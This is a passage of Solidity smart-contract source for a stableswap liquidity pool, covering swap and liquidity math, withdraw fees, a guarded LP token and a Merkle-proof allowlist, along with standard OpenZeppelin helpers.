internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @param balances array of balances to scale * @return balances array "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self, uint256[] memory balances) internal view returns (uint256[] memory) { return _xp(balances, self.tokenPrecisionMultipliers); } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); uint256 supply = self.lpToken.totalSupply(); if (supply > 0) { return d.mul(10**uint256(ERC20(self.lpToken).decimals())).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param self Swap struct to read from * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal view returns (uint256) { uint256 numTokens = self.pooledTokens.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 a = _getAPrecise(self); uint256 d = getD(xp, a); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(a); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap(self, tokenIndexFrom, tokenIndexTo, dx); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]).add( xp[tokenIndexFrom] ); uint256 y = getY(self, tokenIndexFrom, tokenIndexTo, x, xp); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param account the address that is removing liquidity. required for withdraw fee calculation * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) external view returns (uint256[] memory) { return _calculateRemoveLiquidity(self, account, amount); } function _calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) internal view returns (uint256[] memory) { uint256 totalSupply = self.lpToken.totalSupply(); require(amount <= totalSupply, "Cannot exceed total supply"); uint256 feeAdjustedAmount = amount .mul( FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); uint256[] memory amounts = new uint256[](self.pooledTokens.length); for (uint256 i = 0; i < self.pooledTokens.length; i++) { amounts[i] = self.balances[i].mul(feeAdjustedAmount).div( totalSupply ); } return amounts; } /** * @notice Calculate the fee that is applied when the given user withdraws. * Withdraw fee decays linearly over 4 weeks. * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(Swap storage self, address user) public view returns (uint256) { uint256 endTime = self.depositTimestamp[user].add(4 weeks); if (endTime > block.timestamp) { uint256 timeLeftover = endTime.sub(block.timestamp); return self .defaultWithdrawFee .mul(self.withdrawFeeMultiplier[user]) .mul(timeLeftover) .div(4 weeks) .div(FEE_DENOMINATOR); } return 0; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param account address of the account depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 numTokens = self.pooledTokens.length; uint256 a = _getAPrecise(self); uint256 d0 = getD(_xp(self, self.balances), a); uint256[] memory balances1 = self.balances; for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(self, balances1), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub( calculateCurrentWithdrawFee(self, account) ) ); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param self Swap struct to read from */ function _feePerToken(Swap storage self) internal view returns (uint256) { return self.swapFee.mul(self.pooledTokens.length).div( self.pooledTokens.length.sub(1).mul(4) ); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { require( dx <= self.pooledTokens[tokenIndexFrom].balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = self.pooledTokens[tokenIndexFrom].balanceOf( address(this) ); self.pooledTokens[tokenIndexFrom].safeTransferFrom( msg.sender, address(this), dx ); // Use the actual transferred amount for AMM math uint256 transferredDx = self .pooledTokens[tokenIndexFrom] .balanceOf(address(this)) .sub(beforeBalance); (uint256 dy, uint256 dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, transferredDx ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add( transferredDx ); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap( msg.sender, transferredDx, dy, tokenIndexFrom, tokenIndexTo ); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param merkleProof bytes32 array that will be used to prove the existence of the caller's address in the list of * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint, bytes32[] calldata merkleProof ) external returns (uint256) { require( amounts.length == self.pooledTokens.length, "Amounts must match pooled tokens" ); uint256[] memory fees = new uint256[](self.pooledTokens.length); // current state AddLiquidityInfo memory v = AddLiquidityInfo(0, 0, 0, 0); if (self.lpToken.totalSupply() != 0) { v.d0 = getD(self); } uint256[] memory newBalances = self.balances; for (uint256 i = 0; i < self.pooledTokens.length; i++) { require( self.lpToken.totalSupply() != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = self.pooledTokens[i].balanceOf( address(this) ); self.pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = self.pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = self.balances[i].add(amounts[i]); } // invariant after change v.preciseA = _getAPrecise(self); v.d1 = getD(_xp(self, newBalances), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; if (self.lpToken.totalSupply() != 0) { uint256 feePerToken = _feePerToken(self); for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(self, newBalances), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (self.lpToken.totalSupply() == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(self.lpToken.totalSupply()).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint, merkleProof); emit AddLiquidity( msg.sender, amounts, fees, v.d1, self.lpToken.totalSupply() ); return toMint; } /** * @notice Update the withdraw fee for `user`. If the user is currently * not providing liquidity in the pool, sets to default value. If not, recalculate * the starting withdraw fee based on the last deposit's time & amount relative * to the new deposit. * * @param self Swap struct to read from and write to * @param user address of the user depositing tokens * @param toMint amount of pool tokens to be minted */ function updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) external { _updateUserWithdrawFee(self, user, toMint); } function _updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) internal { // If token is transferred to address 0 (or burned), don't update the fee. if (user == address(0)) { return; } if (self.defaultWithdrawFee == 0) { // If current fee is set to 0%, set multiplier to FEE_DENOMINATOR self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR; } else { // Otherwise, calculate appropriate discount based on last deposit amount uint256 currentFee = calculateCurrentWithdrawFee(self, user); uint256 currentBalance = self.lpToken.balanceOf(user); // ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR / // ((toMint + currentBalance) * defaultWithdrawFee) self.withdrawFeeMultiplier[user] = currentBalance .mul(currentFee) .add(toMint.mul(self.defaultWithdrawFee)) .mul(FEE_DENOMINATOR) .div(toMint.add(currentBalance).mul(self.defaultWithdrawFee)); } self.depositTimestamp[user] = block.timestamp; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { require(amount <= self.lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == self.pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory amounts = _calculateRemoveLiquidity( self, msg.sender, amount ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = self.balances[i].sub(amounts[i]); self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } self.lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, self.lpToken.totalSupply()); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { uint256 totalSupply = self.lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require( tokenAmount <= self.lpToken.balanceOf(msg.sender), ">LP.balanceOf" ); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee; uint256 dy; (dy, dyFee) = calculateWithdrawOneToken( self, msg.sender, tokenAmount, tokenIndex ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); self.lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { require( amounts.length == self.pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= self.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); RemoveLiquidityImbalanceInfo memory v = RemoveLiquidityImbalanceInfo( 0, 0, 0, 0 ); uint256 tokenSupply = self.lpToken.totalSupply(); uint256 feePerToken = _feePerToken(self); uint256[] memory balances1 = self.balances; v.preciseA = _getAPrecise(self); v.d0 = getD(_xp(self), v.preciseA); for (uint256 i = 0; i < self.pooledTokens.length; i++) { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(self, balances1), v.preciseA); uint256[] memory fees = new uint256[](self.pooledTokens.length); for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(self, balances1), v.preciseA); uint256 tokenAmount = v.d0.sub(v.d2).mul(tokenSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, msg.sender)) ); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); self.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < self.pooledTokens.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, tokenSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { for (uint256 i = 0; i < self.pooledTokens.length; i++) { IERC20 token = self.pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub( self.balances[i] ); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } /** * @notice update the default withdraw fee. This also affects deposits made in the past as well. * @param self Swap struct to update * @param newWithdrawFee new withdraw fee to be applied */ function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee) external { require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high"); self.defaultWithdrawFee = newWithdrawFee; emit NewWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT // https://etherscan.io/address/0xC28DF698475dEC994BE00C9C9D8658A548e6304F#code pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/ISwapGuarded.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. */ contract LPTokenGuarded is ERC20Burnable, Ownable { using SafeMath for uint256; // Address of the swap contract that owns this LP token. When a user adds liquidity to the swap contract, // they receive a proportionate amount of this LPToken. ISwapGuarded public swap; // Maps user account to total number of LPToken minted by them. Used to limit minting during guarded release phase mapping(address => uint256) public mintedAmounts; /** * @notice Deploys LPToken contract with given name, symbol, and decimals * @dev the caller of this constructor will become the owner of this contract * @param name_ name of this token * @param symbol_ symbol of this token * @param decimals_ number of decimals this token will be based on */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) public ERC20(name_, symbol_) { _setupDecimals(decimals_); swap = ISwapGuarded(_msgSender()); } /** * @notice Mints the given amount of LPToken to the recipient. During the guarded release phase, the total supply * and the maximum number of the tokens that a single account can mint are limited. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint * @param merkleProof the bytes32 array data that is used to prove recipient's address exists in the merkle tree * stored in the allowlist contract. If the pool is not guarded, this parameter is ignored. */ function mint( address recipient, uint256 amount, bytes32[] calldata merkleProof ) external onlyOwner { require(amount != 0, "amount == 0"); // If the pool is in the guarded launch phase, the following checks are done to restrict deposits. // 1. Check if the given merkleProof corresponds to the recipient's address in the merkle tree stored in the // allowlist contract. If the account has been already verified, merkleProof is ignored. // 2. Limit the total number of this LPToken minted to recipient as defined by the allowlist contract. // 3. Limit the total supply of this LPToken as defined by the allowlist contract. if (swap.isGuarded()) { IAllowlist allowlist = swap.getAllowlist(); require( allowlist.verifyAddress(recipient, merkleProof), "Invalid merkle proof" ); uint256 totalMinted = mintedAmounts[recipient].add(amount); require( totalMinted <= allowlist.getPoolAccountLimit(address(swap)), "account deposit limit" ); require( totalSupply().add(amount) <= allowlist.getPoolCap(address(swap)), "pool total supply limit" ); mintedAmounts[recipient] = totalMinted; } _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that swap.updateUserWithdrawFees are called everytime. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20) { super._beforeTokenTransfer(from, to, amount); swap.updateUserWithdrawFee(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./IAllowlist.sol"; interface ISwapGuarded { // pool data view functions function getA() external view returns (uint256); function getAllowlist() external view returns (IAllowlist); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline, bytes32[] calldata merkleProof ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); // withdraw fee update function function updateUserWithdrawFee(address recipient, uint256 transferAmount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/cryptography/MerkleProof.sol"; import "../interfaces/IAllowlist.sol"; /** * @title Allowlist * @notice This contract is a registry holding information about how much each swap contract should * contain upto. Swap.sol will rely on this contract to determine whether the pool cap is reached and * also whether a user's deposit limit is reached. */ contract Allowlist is Ownable, IAllowlist { using SafeMath for uint256; // Represents the root node of merkle tree containing a list of eligible addresses bytes32 public merkleRoot; // Maps pool address -> maximum total supply mapping(address => uint256) private poolCaps; // Maps pool address -> maximum amount of pool token mintable per account mapping(address => uint256) private accountLimits; // Maps account address -> boolean value indicating whether it has been checked and verified against the merkle tree mapping(address => bool) private verified; event PoolCap(address indexed poolAddress, uint256 poolCap); event PoolAccountLimit(address indexed poolAddress, uint256 accountLimit); event NewMerkleRoot(bytes32 merkleRoot); /** * @notice Creates this contract and sets the PoolCap of 0x0 with uint256(0x54dd1e) for * crude checking whether an address holds this contract. * @param merkleRoot_ bytes32 that represent a merkle root node. This is generated off chain with the list of * qualifying addresses. */ constructor(bytes32 merkleRoot_) public { merkleRoot = merkleRoot_; // This value will be used as a way of crude checking whether an address holds this Allowlist contract // Value 0x54dd1e has no inherent meaning other than it is arbitrary value that checks for // user error. poolCaps[address(0x0)] = uint256(0x54dd1e); emit PoolCap(address(0x0), uint256(0x54dd1e)); emit NewMerkleRoot(merkleRoot_); } /** * @notice Returns the max mintable amount of the lp token per account in given pool address. * @param poolAddress address of the pool * @return max mintable amount of the lp token per account */ function getPoolAccountLimit(address poolAddress) external view override returns (uint256) { return accountLimits[poolAddress]; } /** * @notice Returns the maximum total supply of the pool token for the given pool address. * @param poolAddress address of the pool */ function getPoolCap(address poolAddress) external view override returns (uint256) { return poolCaps[poolAddress]; } /** * @notice Returns true if the given account's existence has been verified against any of the past or * the present merkle tree. Note that if it has been verified in the past, this function will return true * even if the current merkle tree does not contain the account. * @param account the address to check if it has been verified * @return a boolean value representing whether the account has been verified in the past or the present merkle tree */ function isAccountVerified(address account) external view returns (bool) { return verified[account]; } /** * @notice Checks the existence of keccak256(account) as a node in the merkle tree inferred by the merkle root node * stored in this contract. Pools should use this function to check if the given address qualifies for depositing. * If the given account has already been verified with the correct merkleProof, this function will return true when * merkleProof is empty. The verified status will be overwritten if the previously verified user calls this function * with an incorrect merkleProof. * @param account address to confirm its existence in the merkle tree * @param merkleProof data that is used to prove the existence of given parameters. This is generated * during the creation of the merkle tree. Users should retrieve this data off-chain. * @return a boolean value that corresponds to whether the address with the proof has been verified in the past * or if they exist in the current merkle tree. */ function verifyAddress(address account, bytes32[] calldata merkleProof) external override returns (bool) { if (merkleProof.length != 0) { // Verify the account exists in the merkle tree via the MerkleProof library bytes32 node = keccak256(abi.encodePacked(account)); if (MerkleProof.verify(merkleProof, merkleRoot, node)) { verified[account] = true; return true; } } return verified[account]; } // ADMIN FUNCTIONS /** * @notice Sets the account limit of allowed deposit amounts for the given pool * @param poolAddress address of the pool * @param accountLimit the max number of the pool token a single user can mint */ function setPoolAccountLimit(address poolAddress, uint256 accountLimit) external onlyOwner { require(poolAddress != address(0x0), "0x0 is not a pool address"); accountLimits[poolAddress] = accountLimit; emit PoolAccountLimit(poolAddress, accountLimit); } /** * @notice Sets the max total supply of LPToken for the given pool address * @param poolAddress address of the pool * @param poolCap the max total supply of the pool token */ function setPoolCap(address poolAddress, uint256 poolCap) external onlyOwner { require(poolAddress != address(0x0), "0x0 is not a pool address"); poolCaps[poolAddress] = poolCap; emit PoolCap(poolAddress, poolCap); } /** * @notice Updates the merkle root that is stored in this contract. This can only be called by * the owner. If more addresses are added to the list, a new merkle tree and a merkle root node should be generated, * and merkleRoot should be updated accordingly. * @param merkleRoot_ a new merkle root node that contains a list of deposit allowed addresses */ function updateMerkleRoot(bytes32 merkleRoot_) external onlyOwner { merkleRoot = merkleRoot_; emit NewMerkleRoot(merkleRoot_); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./OwnerPausable.sol"; import 